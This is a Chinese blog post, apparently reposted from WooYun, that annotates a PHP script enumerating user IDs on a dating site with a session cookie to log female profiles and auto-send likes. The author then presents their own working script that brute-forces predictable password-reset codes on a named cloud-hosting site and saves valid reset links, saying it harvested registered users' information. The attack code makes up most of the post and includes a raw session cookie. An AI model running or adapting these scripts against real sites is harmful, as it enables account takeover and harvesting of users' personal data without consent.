• 某个php爬虫程序分析--来自wooyun


    乌云漏洞编号:

    WooYun-2014-68061

    作者:hkAssassin

    爬虫程序源码:

    <?php
    
          header("content-type:text/html;charset=utf-8");
    
    id();   //爬虫开始
    
    function id(){
    
         for($i=1;$i<1000;$i++){
    
           send($i);
    
         if($i==410){
    
         exit;
    
         }
    
         }
    
         }
    
    function send($id){     
    
           $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
    /*fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回FALSE。*/
          if(!$fp){
    
           echo "$errstr ($errno)<br />
    "; //返回错误信息
    
          }else{  
    
          //$header = "GET /person?userId=108  HTTP/1.1
    ";
    
          $header = "GET /person?userId=".$id."  HTTP/1.1
    ";
    
           $header.="Accept: text/html, application/xhtml+xml, */*
    ";
    
           $header.="Accept-Language: zh-CN 
    ";
    
           $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 
    ";
    
          $header .= "Host:xq.ibaihe.com 
    ";
    
                $header .= "DNT: 1 
    ";
    
                $header .= "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=******(这里为你自己的登陆cookie) 
    ";
    
                $header .= "Connection: Close
    
    ";
    
                fwrite($fp,$header);
                /*fwrite() 返回写入的字符数,出现错误时则返回 FALSE 。*/
    
               $status = stream_get_meta_data($fp);
               /*stream_get_meta_data — 从封装协议文件指针中取得报头/元数据
               array stream_get_meta_data ( int $fp )
               */
         if(!$status['timed_out']) {    
         /*timed_out (bool) - 如果在上次调用 fread() 或者 fgets() 中等待数据时流超时了则为 TRUE。*/ 
    
                     while (!feof($fp)) {  
            /*feof — 测试文件指针是否到了文件结束的位置
            bool feof ( resource $handle )测试文件指针是否到了文件结束的位。handle
    文件指针必须是有效的,必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)
    如果文件指针到了 EOF 或者出错时则返回 TRUE,否则返回一个错误(包括 socket 超时),其它情况则返回 FALSE。。*/
            if(($header = @fgets($fp)) && ($header == "
    " ||  $header == "
    ")) {     
    /*fgets — 从文件指针中读取一行从指针 handle 指向的文件中读取了 length - 1 字节后返回字符串。 如果文件指针中没有更多的数据了则返回 FALSE。
    错误发生时返回 FALSE。*/
                             break;     
    
                         }     
    
                     }             
    
                     $stop = false;     
    
                     while(!feof($fp) && !$stop) {     
    
                         $data = fread($fp,8192);     
    /*fread — 读取文件(可安全用于二进制文件)fread() 从文件指针 handle 读取最多 length 个字节。 该函数在遇上以下几种情况时停止读取文件:*/
                         $return .= $data;   
    
                     }     
    
                 }  
    
    $str1='女士';
    
    $str2='她';
    
    $po1=stripos($return,$str1);
    
    $po2=stripos($return,$str2);
    /*stripos — 查找字符串首次出现的位置(不区分大小写)int stripos ( string $haystack , string $needle [, int $offset = 0 ] )返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。
    如果未发现 needle 将返回 FALSE。*/
    if($po1!=false|| $po2!=false){
    
    $url="http://xq.ibaihe.com/person?userId=".$id."
    ";
      $fopen=fopen("bh.txt","a");
    /*fopen — 打开文件或者 URL写入方式打开,'a'将文件指针指向文件末尾。如果文件不存在则尝试创建之。*/
      fwrite($fopen,$url);
      sendLike($id);
    }
    
     } 
    
           fclose($fp);
    
          
    
          }   //send end
    
               
    
              
    
    
    
    function sendLike($id){     
    
           $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
    
          if(!$fp){
    
           echo "$errstr ($errno)<br />
    ";
    
          }else{  
    
          //$header = "GET /person?userId=108  HTTP/1.1
    ";
    
          $header = "POST /enjoy/  HTTP/1.1
    ";
    
           $header.="Accept: application/json, text/javascript, */*; q=0.01 
    ";
    
           $header.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
    ";
    
           $header.="X-Requested-With: XMLHttpRequest 
    ";
    
           $header.="Referer: http://xq.ibaihe.com/person?userId=".$id." 
    ";
    
           $header.="Accept-Language: zh-CN 
    ";
    
           $header.="Accept-Encoding: gzip, deflate 
    ";
    
           $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 
    ";
    
          $header .= "Host:xq.ibaihe.com 
    ";
    
          $header .="Content-Length: 19 
    ";
    
                $header .= "DNT: 1 
    ";
    
          $hrader .="Proxy-Connection: Keep-Alive 
    ";
    
          $header.="Pragma: no-cache 
    ";
    
                $header .= "Cookie: Hm_lpvt_887bcaca63*******4b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=*********(这里写你自己的登陆cookie)
    
    ";
    
          $header .="type=like&oppId=".$id;
    
                $header .= "Connection: Close
    
    ";
    
                fwrite($fp,$header);
    
               while(!feof($fp)){
    
            $res_str.=fgets($fp,512);
    
           }
    
           fclose($fp);
    
           var_dump($res_str);
    /*var_dump — 打印变量的相关信息*/
          }  
    
    
    
    }   //sendLike end
    

    现学现用:

    参照以上程序,我针对AAA云服务器网进行了一个爬虫,爬取了一部分注册用户的信息

    <?php
    	header("content-type:text/html;charset=utf-8");
    
    	code();
    
    	function code()
    	{
    		for($i=100000;$i<103000;$i++)
    		{
    			send($i);
    			if($i==102000)
    			{
    				exit;
    			}
    		}
    	}
    
    	function send($id)
    	{
    		$fp = fsockopen("www.aaayun.com",80,$errno,$errstr,30);
    		if(!$fp)
    		{
    			echo "$errstr ($errno)<br/>
    ";
    		}
    		else
    		{
    			$header = "GET /members/user_reset.php?code=jggsrlrmlyxhnjuyympt_".$id." HTTP/1.1
    ";
    			$header .= "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    ";
    			$header .= "Accept-Language:zh-CN 
    ";
    			$header .= "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 LBBROWSER
    ";
    			$header .= "HOST:www.aaayun.com
    ";
    			$header .= "Cookie:AJSTAT_ok_times=; __login_user_ssid=nmb1fer1dqs8jl6vpid7ogsjd6; visitReferDomain=www.baidu.com; PHPSESSID=nmb1fer1dqs8jl6vpid7ogsjd6; AJSTAT_ok_pages=9; AJSTAT_ok_times=NaN
    ";
    			$header.="Connection: Close
    ";
    
    			fwrite($fp,$header);
    			$status = stream_get_meta_data($fp);
    
    
    			if(!$status['time_out'])
    			{
    				while(!feof($fp))
    				{
    					if(($header = @fgets($fp)) && ($header == "
    ") || $header == "
    ")
    						break;
    				}
    			}
    			$stop = false;
    
    			while(!feof($fp) && !$stop)
    			{
    				$data = fread($fp,7388);
    				$return .= $data;
    			}
    		}
    		$str1 = '请输入新的登录密码';
    		$po1 = stripos($return,$str1);
    
    
    		if($po1 != false)
    		{
    			$url = "http://www.aaayun.com/members/user_reset.php?code=jggsrlrmlyxhnjuyympt_".$id."
    ";
    			$fopen = fopen("bh.txt","a");
    			fwrite($fopen,$url);
    		}
    		fclose($fp);
    	}
    ?>
    
  • 相关阅读:
    oracle分析函数 Mr
    怎样去使用mkyong教程 Mr
    续spring事务管理之前的话spring声明式事务管理 Mr
    通过Maven去运行单元测试 Mr
    怎样将Excel数据导入Oracle Mr
    <魔域之书> Roguebook 存档修改器
    Padding Strings in Python(python字符串填充补齐)
    关于项目开发是引用类库的注意事项
    WCF揭秘随笔:Wcf入门感受
    验证控制组件功能增强,支持多验证器
  • 原文地址:https://www.cnblogs.com/elliottc/p/3864944.html
Copyright © 2020-2023  润新知